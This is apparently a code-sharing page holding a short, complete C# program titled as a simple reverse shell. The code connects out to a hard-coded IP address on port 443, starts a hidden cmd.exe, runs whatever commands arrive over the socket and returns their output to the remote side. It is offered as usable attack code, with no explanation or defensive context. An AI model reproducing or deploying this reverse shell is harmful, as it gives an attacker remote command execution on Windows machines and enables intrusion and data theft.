Created
February 19, 2020 07:54
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C# Simple Reverse Shell Code
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| using System; | |
| using System.Text; | |
| using System.IO; | |
| using System.Diagnostics; | |
| using System.ComponentModel; | |
| using System.Linq; | |
| using System.Net; | |
| using System.Net.Sockets; | |
| namespace ConnectBack | |
| { | |
| public class Program | |
| { | |
| static StreamWriter streamWriter; | |
| public static void Main(string[] args) | |
| { | |
| using(TcpClient client = new TcpClient("10.0.2.15", 443)) | |
| { | |
| using(Stream stream = client.GetStream()) | |
| { | |
| using(StreamReader rdr = new StreamReader(stream)) | |
| { | |
| streamWriter = new StreamWriter(stream); | |
| StringBuilder strInput = new StringBuilder(); | |
| Process p = new Process(); | |
| p.StartInfo.FileName = "cmd.exe"; | |
| p.StartInfo.CreateNoWindow = true; | |
| p.StartInfo.UseShellExecute = false; | |
| p.StartInfo.RedirectStandardOutput = true; | |
| p.StartInfo.RedirectStandardInput = true; | |
| p.StartInfo.RedirectStandardError = true; | |
| p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); | |
| p.Start(); | |
| p.BeginOutputReadLine(); | |
| while(true) | |
| { | |
| strInput.Append(rdr.ReadLine()); | |
| //strInput.Append("\n"); | |
| p.StandardInput.WriteLine(strInput); | |
| strInput.Remove(0, strInput.Length); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | |
| { | |
| StringBuilder strOutput = new StringBuilder(); | |
| if (!String.IsNullOrEmpty(outLine.Data)) | |
| { | |
| try | |
| { | |
| strOutput.Append(outLine.Data); | |
| streamWriter.WriteLine(strOutput); | |
| streamWriter.Flush(); | |
| } | |
| catch (Exception err) { } | |
| } | |
| } | |
| } | |
| } |
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